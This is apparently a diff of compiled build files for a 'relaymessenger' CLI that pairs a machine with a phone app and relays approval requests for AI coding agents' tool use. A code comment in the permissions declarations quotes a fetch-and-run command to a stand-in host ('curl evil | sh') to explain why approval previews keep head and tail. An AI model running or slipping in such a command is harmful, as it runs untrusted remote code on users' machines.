,KAAK,SAAS;gBAAE,KAAK,CAAC,EAAE,OAAO,EAAE,KAAK,EAAE,EAAE,EAAE,MAAM,EAAE,CAAC,CAAC;QAC9D,CAAC,CAAC;QACF,MAAM,IAAI,GAAG,CAAC,IAAY,EAAE,OAAe,EAAE,EAAE;YAC7C,IAAI,EAAE,KAAK,SAAS;gBAAE,KAAK,CAAC,EAAE,OAAO,EAAE,KAAK,EAAE,EAAE,EAAE,KAAK,EAAE,EAAE,IAAI,EAAE,OAAO,EAAE,EAAE,CAAC,CAAC;QAChF,CAAC,CAAC;QACF,IAAI,CAAC;YACH,QAAQ,MAAM,EAAE,CAAC;gBACf,KAAK,YAAY;oBACf,KAAK,CAAC;wBACJ,eAAe,EAAE,2BAA2B,CAAC,MAAM,EAAE,eAAe,CAAC;wBACrE,YAAY,EAAE,EAAE,KAAK,EAAE,EAAE,EAAE;wBAC3B,UAAU,EAAE,EAAE,IAAI,EAAE,gBAAgB,EAAE,OAAO,EAAE,OAAO,EAAE;qBACzD,CAAC,CAAC;oBACH,MAAM;gBACR,KAAK,2BAA2B;oBAC9B,MAAM;gBACR,KAAK,YAAY;oBACf,KAAK,CAAC,EAAE,KAAK,EAAE,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC;oBACzB,MAAM;gBACR,KAAK,YAAY,CAAC,CAAC,CAAC;oBAClB,IAAI,MAAM,EAAE,IAAI,KAAK,IAAI,CAAC,IAAI,EAAE,CAAC;wBAC/B,IAAI,CAAC,CAAC,KAAK,EAAE,iBAAiB,MAAM,EAAE,IAAI,EAAE,CAAC,CAAC;wBAC9C,MAAM;oBACR,CAAC;oBACD,IAAI,MAAkD,CAAC;oBACvD,IAAI,CAAC;wBACH,MAAM,GAAG,MAAM,cAAc,CAAC,MAAM,EAAE,SAAS,IAAI,EAAE,CAAC,CAAC;oBACzD,CAAC;oBAAC,OAAO,KAAU,EAAE,CAAC;wBACpB,IAAI,CAAC,CAAC,KAAK,EAAE,MAAM,CAAC,KAAK,EAAE,OAAO,IAAI,KAAK,CAAC,CAAC,CAAC;wBAC9C,MAAM;oBACR,CAAC;oBACD,IAAI,CAAC,MAAM,CAAC,IAAI,EAAE,CAAC;wBACjB,KAAK,CAAC;4BACJ,OAAO,EAAE,CAAC,EAAE,IAAI,EAAE,MAAM,EAAE,IAAI,EAAE,MAAM,CAAC,OAAO,EAAE,CAAC;4BACjD,OAAO,EAAE,IAAI;yBACd,CAAC,CAAC;wBACH,MAAM;oBACR,CAAC;oBACD,KAAK,CAAC,EAAE,OAAO,EAAE,CAAC,EAAE,IAAI,EAAE,MAAM,EAAE,IAAI,EAAE,MAAM,CAAC,OAAO,EAAE,CAAC,EAAE,CAAC,CAAC;oBAC7D,MAAM;gBACR,CAAC;gBACD,KAAK,MAAM;oBACT,KAAK,CAAC,EAAE,CAAC,CAAC;oBACV,MAAM;gBACR;oBACE,IAAI,EAAE,KAAK,SAAS;wBAAE,IAAI,CAAC,CAAC,KAAK,EAAE,2BAA2B,MAAM,EAAE,CAAC,CAAC;YAC5E,CAAC;QACH,CAAC;QAAC,OAAO,KAAU,EAAE,CAAC;YACpB,IAAI,CAAC,CAAC,KAAK,EAAE,MAAM,CAAC,KAAK,EAAE,OAAO,IAAI,KAAK,CAAC,CAAC,CAAC;QAChD,CAAC;IACH,CAAC;AACH,CAAC"}
|
package/dist/pair.d.ts
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
import { RelayClient } from "./api.js";
|
|
2
|
+
import { ConfigStore } from "./store.js";
|
|
3
|
+
export interface PairOptions {
|
|
4
|
+
origin: string;
|
|
5
|
+
engine?: string;
|
|
6
|
+
deviceName?: string;
|
|
7
|
+
config?: ConfigStore;
|
|
8
|
+
client?: RelayClient;
|
|
9
|
+
/** Injected for tests: builds the agent-authenticated client after claim. */
|
|
10
|
+
agentClientFor?: (agentToken: string) => RelayClient;
|
|
11
|
+
out?: (line: string) => void;
|
|
12
|
+
renderQr?: (url: string) => void;
|
|
13
|
+
}
|
|
14
|
+
/**
|
|
15
|
+
* The live API nests the profile: GET /v1/agents/me → { agent: { owner_user_id } }.
|
|
16
|
+
* A bare top-level owner_user_id is accepted too for forward/backward tolerance.
|
|
17
|
+
*/
|
|
18
|
+
export declare function ownerUserIdFromMe(me: Record<string, unknown>): string | undefined;
|
|
19
|
+
export declare function pair(options: PairOptions): Promise<void>;
|
|
20
|
+
//# sourceMappingURL=pair.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"pair.d.ts","sourceRoot":"","sources":["../src/pair.ts"],"names":[],"mappings":"AAWA,OAAO,EAAiB,WAAW,EAAsB,MAAM,UAAU,CAAC;AAC1E,OAAO,EAAE,WAAW,EAAoB,MAAM,YAAY,CAAC;AAE3D,MAAM,WAAW,WAAW;IAC1B,MAAM,EAAE,MAAM,CAAC;IACf,MAAM,CAAC,EAAE,MAAM,CAAC;IAChB,UAAU,CAAC,EAAE,MAAM,CAAC;IACpB,MAAM,CAAC,EAAE,WAAW,CAAC;IACrB,MAAM,CAAC,EAAE,WAAW,CAAC;IACrB,6EAA6E;IAC7E,cAAc,CAAC,EAAE,CAAC,UAAU,EAAE,MAAM,KAAK,WAAW,CAAC;IACrD,GAAG,CAAC,EAAE,CAAC,IAAI,EAAE,MAAM,KAAK,IAAI,CAAC;IAC7B,QAAQ,CAAC,EAAE,CAAC,GAAG,EAAE,MAAM,KAAK,IAAI,CAAC;CAClC;AAED;;;GAGG;AACH,wBAAgB,iBAAiB,CAAC,EAAE,EAAE,MAAM,CAAC,MAAM,EAAE,OAAO,CAAC,GAAG,MAAM,GAAG,SAAS,CAQjF;AAiDD,wBAAsB,IAAI,CAAC,OAAO,EAAE,WAAW,GAAG,OAAO,CAAC,IAAI,CAAC,CA4E9D"}
|
package/dist/pair.js
ADDED
|
@@ -0,0 +1,135 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* `relaymessenger pair` — device-code pairing.
|
|
3
|
+
* POST /v1/pairings → terminal QR of the claim url + short code → long-poll
|
|
4
|
+
* GET /v1/pairings/:id?wait=true until the phone claims it → store the
|
|
5
|
+
* agent_token in ~/.relaymessenger/config.json (chmod 600), then pin the owner from
|
|
6
|
+
* GET /v1/agents/me. Claimed status may recoverably re-return the token until
|
|
7
|
+
* the first successful Agent API use (or the server's claim grace expires),
|
|
8
|
+
* but the locally saved token is authoritative for interrupted finalization.
|
|
9
|
+
*/
|
|
10
|
+
import { hostname } from "node:os";
|
|
11
|
+
import qrcode from "qrcode-terminal";
|
|
12
|
+
import { RelayApiError, RelayClient } from "./api.js";
|
|
13
|
+
import { ConfigStore } from "./store.js";
|
|
14
|
+
/**
|
|
15
|
+
* The live API nests the profile: GET /v1/agents/me → { agent: { owner_user_id } }.
|
|
16
|
+
* A bare top-level owner_user_id is accepted too for forward/backward tolerance.
|
|
17
|
+
*/
|
|
18
|
+
export function ownerUserIdFromMe(me) {
|
|
19
|
+
const agent = me.agent;
|
|
20
|
+
if (typeof agent === "object" && agent !== null) {
|
|
21
|
+
const nested = agent.owner_user_id;
|
|
22
|
+
if (typeof nested === "string" && nested.length > 0)
|
|
23
|
+
return nested;
|
|
24
|
+
}
|
|
25
|
+
const flat = me.owner_user_id;
|
|
26
|
+
return typeof flat === "string" && flat.length > 0 ? flat : undefined;
|
|
27
|
+
}
|
|
28
|
+
function agentProfileFromMe(me) {
|
|
29
|
+
return typeof me.agent === "object" && me.agent !== null
|
|
30
|
+
? me.agent
|
|
31
|
+
: undefined;
|
|
32
|
+
}
|
|
33
|
+
async function finalizeSavedPairing(saved, config, agentClientFor, out) {
|
|
34
|
+
const agentClient = agentClientFor?.(saved.agent_token) ??
|
|
35
|
+
new RelayClient(saved.api_origin, saved.agent_token);
|
|
36
|
+
let ownerUserId = process.env.RELAY_OWNER_USER_ID;
|
|
37
|
+
let apiAgent;
|
|
38
|
+
try {
|
|
39
|
+
const me = await agentClient.getMe();
|
|
40
|
+
apiAgent = agentProfileFromMe(me);
|
|
41
|
+
ownerUserId ??= ownerUserIdFromMe(me);
|
|
42
|
+
}
|
|
43
|
+
catch (error) {
|
|
44
|
+
if (error instanceof RelayApiError && error.status === 401)
|
|
45
|
+
throw error;
|
|
46
|
+
if (!ownerUserId) {
|
|
47
|
+
throw new Error(`Agent Token is safely stored, but owner lookup failed (${error instanceof Error ? error.message : error}). ` +
|
|
48
|
+
"Run `relaymessenger pair` again to resume owner pinning with this saved token; " +
|
|
49
|
+
"it will not create or overwrite an agent.");
|
|
50
|
+
}
|
|
51
|
+
}
|
|
52
|
+
if (!ownerUserId) {
|
|
53
|
+
throw new Error("Agent Token is safely stored, but the server did not report owner_user_id and " +
|
|
54
|
+
"RELAY_OWNER_USER_ID is not set. The bridge fails closed without a pinned owner. " +
|
|
55
|
+
"Set RELAY_OWNER_USER_ID, then run `relaymessenger pair` again to finalize this saved token.");
|
|
56
|
+
}
|
|
57
|
+
const agent = {
|
|
58
|
+
...(saved.agent ?? {}),
|
|
59
|
+
...(apiAgent ?? {}),
|
|
60
|
+
};
|
|
61
|
+
config.save({ ...saved, agent, owner_user_id: ownerUserId });
|
|
62
|
+
out(`Owner pinned: ${ownerUserId}. Only this user can drive the bridge.`);
|
|
63
|
+
out("Next: relaymessenger start --engine claude (run `relaymessenger help` for every ACP preset)");
|
|
64
|
+
}
|
|
65
|
+
export async function pair(options) {
|
|
66
|
+
const out = options.out ?? console.log;
|
|
67
|
+
const config = options.config ?? new ConfigStore();
|
|
68
|
+
const client = options.client ?? new RelayClient(options.origin);
|
|
69
|
+
const deviceName = options.deviceName ?? hostname();
|
|
70
|
+
const existing = config.load();
|
|
71
|
+
if (existing?.agent_token &&
|
|
72
|
+
!existing.owner_user_id &&
|
|
73
|
+
existing.api_origin === client.origin) {
|
|
74
|
+
out("Resuming owner pinning for the Agent Token already stored on this machine.");
|
|
75
|
+
try {
|
|
76
|
+
await finalizeSavedPairing(existing, config, options.agentClientFor, out);
|
|
77
|
+
return;
|
|
78
|
+
}
|
|
79
|
+
catch (error) {
|
|
80
|
+
if (!(error instanceof RelayApiError) || error.status !== 401)
|
|
81
|
+
throw error;
|
|
82
|
+
out("Saved Agent Token was rejected (401); starting a fresh pairing for this origin.");
|
|
83
|
+
}
|
|
84
|
+
}
|
|
85
|
+
const pairing = await client.createPairing(deviceName, options.engine);
|
|
86
|
+
const renderQr = options.renderQr ?? ((url) => qrcode.generate(url, { small: true }));
|
|
87
|
+
out("");
|
|
88
|
+
out("Scan with the Relay app, or open the link on your phone:");
|
|
89
|
+
out("");
|
|
90
|
+
renderQr(pairing.url);
|
|
91
|
+
out("");
|
|
92
|
+
out(` ${pairing.url}`);
|
|
93
|
+
out(` Pairing code: ${pairing.code}`);
|
|
94
|
+
out("");
|
|
95
|
+
out(`Waiting for the phone to claim (expires in ${Math.round(pairing.expires_in / 60)} min)…`);
|
|
96
|
+
const deadline = Date.now() + pairing.expires_in * 1000;
|
|
97
|
+
let status;
|
|
98
|
+
while (Date.now() < deadline) {
|
|
99
|
+
try {
|
|
100
|
+
status = await client.waitPairing(pairing.pairing_id, pairing.poll_token);
|
|
101
|
+
}
|
|
102
|
+
catch (error) {
|
|
103
|
+
if (error instanceof RelayApiError && error.status === 404) {
|
|
104
|
+
throw new Error("Pairing expired before it was claimed. Run `relaymessenger pair` again.");
|
|
105
|
+
}
|
|
106
|
+
if (error instanceof RelayApiError && error.status === 410) {
|
|
107
|
+
throw new Error("This pairing claim can no longer return its token. If config.json contains an Agent " +
|
|
108
|
+
"Token, re-run `relaymessenger pair` to finalize that saved token; otherwise start a new pairing.");
|
|
109
|
+
}
|
|
110
|
+
// Transient (network blip, 5xx, timeout): keep waiting until expiry.
|
|
111
|
+
out(`(retrying: ${error instanceof Error ? error.message : error})`);
|
|
112
|
+
await new Promise((resolve) => setTimeout(resolve, 2000));
|
|
113
|
+
continue;
|
|
114
|
+
}
|
|
115
|
+
if (status.status === "claimed")
|
|
116
|
+
break;
|
|
117
|
+
}
|
|
118
|
+
if (!status || status.status !== "claimed") {
|
|
119
|
+
throw new Error("Pairing expired before it was claimed. Run `relaymessenger pair` again.");
|
|
120
|
+
}
|
|
121
|
+
// Store the token before the first Agent API call. The server may re-return
|
|
122
|
+
// it during its short claim-recovery window, while this durable local copy
|
|
123
|
+
// lets a later `relaymessenger pair` resume without creating another agent.
|
|
124
|
+
const saved = {
|
|
125
|
+
api_origin: client.origin,
|
|
126
|
+
agent_token: status.agent_token,
|
|
127
|
+
agent: status.agent,
|
|
128
|
+
paired_at: new Date().toISOString(),
|
|
129
|
+
};
|
|
130
|
+
config.save(saved);
|
|
131
|
+
out("");
|
|
132
|
+
out(`Paired. Agent token stored in ${config.path} (mode 600).`);
|
|
133
|
+
await finalizeSavedPairing(saved, config, options.agentClientFor, out);
|
|
134
|
+
}
|
|
135
|
+
//# sourceMappingURL=pair.js.map
|
package/dist/pair.js.map
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"pair.js","sourceRoot":"","sources":["../src/pair.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1,87 @@
|
|
|
1
|
+
import type { RelayClient } from "./api.js";
|
|
2
|
+
import type { ApprovalStore, PendingApproval, RelayMessage } from "./store.js";
|
|
3
|
+
import type { PermissionAsk, PermissionDecision } from "./engine/types.js";
|
|
4
|
+
export declare const APPROVAL_TIMEOUT_MS: number;
|
|
5
|
+
export declare const PERMISSION_CARD_KIND = "agent_permission_request";
|
|
6
|
+
export declare const PERMISSION_REPLY_RE: RegExp;
|
|
7
|
+
export declare function newRequestId(): string;
|
|
8
|
+
export interface PermissionVerdict {
|
|
9
|
+
request_id: string;
|
|
10
|
+
behavior: "allow" | "deny";
|
|
11
|
+
}
|
|
12
|
+
export declare function parseVerdictText(text: string): PermissionVerdict | null;
|
|
13
|
+
/**
|
|
14
|
+
* Parses an origin-tagged option tap carried in a `data` part. Accepted
|
|
15
|
+
* shapes, checked in order (identical to the channel plugin):
|
|
16
|
+
*
|
|
17
|
+
* { origin: { kind: "agent_permission_request", request_id }, option_id }
|
|
18
|
+
* { origin: { request_id }, option: "allow" | "deny" }
|
|
19
|
+
* { kind: "agent_permission_request", request_id, behavior | option_id }
|
|
20
|
+
*/
|
|
21
|
+
export declare function parseVerdictDataPart(data: unknown): PermissionVerdict | null;
|
|
22
|
+
/** Extracts a verdict from a user message: data-part tap first, then text. */
|
|
23
|
+
export declare function verdictFromMessage(message: RelayMessage): PermissionVerdict | null;
|
|
24
|
+
export declare const MAX_PERMISSION_PREVIEW_CHARS = 6000;
|
|
25
|
+
export declare class PermissionPreviewTooLongError extends Error {
|
|
26
|
+
readonly actualChars: number;
|
|
27
|
+
constructor(actualChars: number);
|
|
28
|
+
}
|
|
29
|
+
/** Same defense-in-depth sanitization as the channel plugin. */
|
|
30
|
+
export declare function sanitizeRelayedText(value: string, maxChars: number): string;
|
|
31
|
+
/**
|
|
32
|
+
* Over-limit values keep head + tail with an explicit omission marker: a
|
|
33
|
+
* plain head truncation lets a hostile suffix (`… && curl evil | sh`) hide
|
|
34
|
+
* behind the ellipsis on the approval card.
|
|
35
|
+
*/
|
|
36
|
+
export declare function clampHeadTail(value: string, maxChars: number): string;
|
|
37
|
+
/**
|
|
38
|
+
* Security-sensitive tool input is never truncated. If it cannot fit in the
|
|
39
|
+
* approval card, the caller must deny instead of asking the owner to approve
|
|
40
|
+
* an operation with concealed content.
|
|
41
|
+
*/
|
|
42
|
+
export declare function sanitizePermissionPreview(value: string): string;
|
|
43
|
+
export interface PermissionCardInput {
|
|
44
|
+
requestId: string;
|
|
45
|
+
conversationId: string;
|
|
46
|
+
/** Human name for the asking engine. */
|
|
47
|
+
engineLabel: string;
|
|
48
|
+
toolName?: string;
|
|
49
|
+
description?: string;
|
|
50
|
+
inputPreview?: string;
|
|
51
|
+
}
|
|
52
|
+
export declare function buildPermissionCard(input: PermissionCardInput): {
|
|
53
|
+
body: {
|
|
54
|
+
conversation_id: string;
|
|
55
|
+
parts: Array<Record<string, unknown>>;
|
|
56
|
+
suggestions: Array<{
|
|
57
|
+
text: string;
|
|
58
|
+
}>;
|
|
59
|
+
};
|
|
60
|
+
idempotencyKey: string;
|
|
61
|
+
};
|
|
62
|
+
/** Maps a binary verdict back onto the engine's richer option set. */
|
|
63
|
+
export declare function decisionForVerdict(approval: PendingApproval, behavior: "allow" | "deny"): PermissionDecision;
|
|
64
|
+
export declare function denyDecision(approval: PendingApproval): PermissionDecision;
|
|
65
|
+
export declare class PermissionBroker {
|
|
66
|
+
private readonly client;
|
|
67
|
+
private readonly approvals;
|
|
68
|
+
private readonly timeoutMs;
|
|
69
|
+
private readonly log;
|
|
70
|
+
private readonly waiters;
|
|
71
|
+
constructor(client: RelayClient, approvals: ApprovalStore, timeoutMs?: number, log?: (line: string) => void);
|
|
72
|
+
/**
|
|
73
|
+
* Age out abandoned approval files. Files with an unconsumed resolution are
|
|
74
|
+
* owned by a waiter in another process (e.g. a codex hook) and survive
|
|
75
|
+
* until their deadline + grace window; only clearly-dead entries go.
|
|
76
|
+
*/
|
|
77
|
+
sweep(now?: number): void;
|
|
78
|
+
/**
|
|
79
|
+
* Called by the receive loop for every inbound owner message. Returns true
|
|
80
|
+
* when the message answered a pending approval and must NOT be forwarded to
|
|
81
|
+
* the engine as a prompt.
|
|
82
|
+
*/
|
|
83
|
+
consumeReply(message: RelayMessage): boolean;
|
|
84
|
+
/** Post the card and block until tap or timeout→deny. */
|
|
85
|
+
ask(conversationId: string, askInput: PermissionAsk, engine: string): Promise<PermissionDecision>;
|
|
86
|
+
}
|
|
87
|
+
//# sourceMappingURL=permissions.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"permissions.d.ts","sourceRoot":"","sources":["../src/permissions.ts"],"names":[],"mappings":"AAuBA,OAAO,KAAK,EAAE,WAAW,EAAE,MAAM,UAAU,CAAC;AAC5C,OAAO,KAAK,EAAE,aAAa,EAAE,eAAe,EAAE,YAAY,EAAE,MAAM,YAAY,CAAC;AAC/E,OAAO,KAAK,EAAE,aAAa,EAAE,kBAAkB,EAAE,MAAM,mBAAmB,CAAC;AAG3E,eAAO,MAAM,mBAAmB,QAAiB,CAAC;AAElD,eAAO,MAAM,oBAAoB,6BAA6B,CAAC;AAK/D,eAAO,MAAM,mBAAmB,QAA0C,CAAC;AAE3E,wBAAgB,YAAY,IAAI,MAAM,CAMrC;AAED,MAAM,WAAW,iBAAiB;IAChC,UAAU,EAAE,MAAM,CAAC;IACnB,QAAQ,EAAE,OAAO,GAAG,MAAM,CAAC;CAC5B;AAED,wBAAgB,gBAAgB,CAAC,IAAI,EAAE,MAAM,GAAG,iBAAiB,GAAG,IAAI,CAOvE;AAUD;;;;;;;GAOG;AACH,wBAAgB,oBAAoB,CAAC,IAAI,EAAE,OAAO,GAAG,iBAAiB,GAAG,IAAI,CAsB5E;AAED,8EAA8E;AAC9E,wBAAgB,kBAAkB,CAAC,OAAO,EAAE,YAAY,GAAG,iBAAiB,GAAG,IAAI,CAWlF;AAGD,eAAO,MAAM,4BAA4B,OAAQ,CAAC;AAElD,qBAAa,6BAA8B,SAAQ,KAAK;IAC1C,QAAQ,CAAC,WAAW,EAAE,MAAM;gBAAnB,WAAW,EAAE,MAAM;CAOzC;AAED,gEAAgE;AAChE,wBAAgB,mBAAmB,CAAC,KAAK,EAAE,MAAM,EAAE,QAAQ,EAAE,MAAM,GAAG,MAAM,CAO3E;AAED;;;;GAIG;AACH,wBAAgB,aAAa,CAAC,KAAK,EAAE,MAAM,EAAE,QAAQ,EAAE,MAAM,GAAG,MAAM,CAMrE;AAED;;;;GAIG;AACH,wBAAgB,yBAAyB,CAAC,KAAK,EAAE,MAAM,GAAG,MAAM,CAU/D;AAED,MAAM,WAAW,mBAAmB;IAClC,SAAS,EAAE,MAAM,CAAC;IAClB,cAAc,EAAE,MAAM,CAAC;IACvB,wCAAwC;IACxC,WAAW,EAAE,MAAM,CAAC;IACpB,QAAQ,CAAC,EAAE,MAAM,CAAC;IAClB,WAAW,CAAC,EAAE,MAAM,CAAC;IACrB,YAAY,CAAC,EAAE,MAAM,CAAC;CACvB;AAED,wBAAgB,mBAAmB,CAAC,KAAK,EAAE,mBAAmB,GAAG;IAC/D,IAAI,EAAE;QACJ,eAAe,EAAE,MAAM,CAAC;QACxB,KAAK,EAAE,KAAK,CAAC,MAAM,CAAC,MAAM,EAAE,OAAO,CAAC,CAAC,CAAC;QACtC,WAAW,EAAE,KAAK,CAAC;YAAE,IAAI,EAAE,MAAM,CAAA;SAAE,CAAC,CAAC;KACt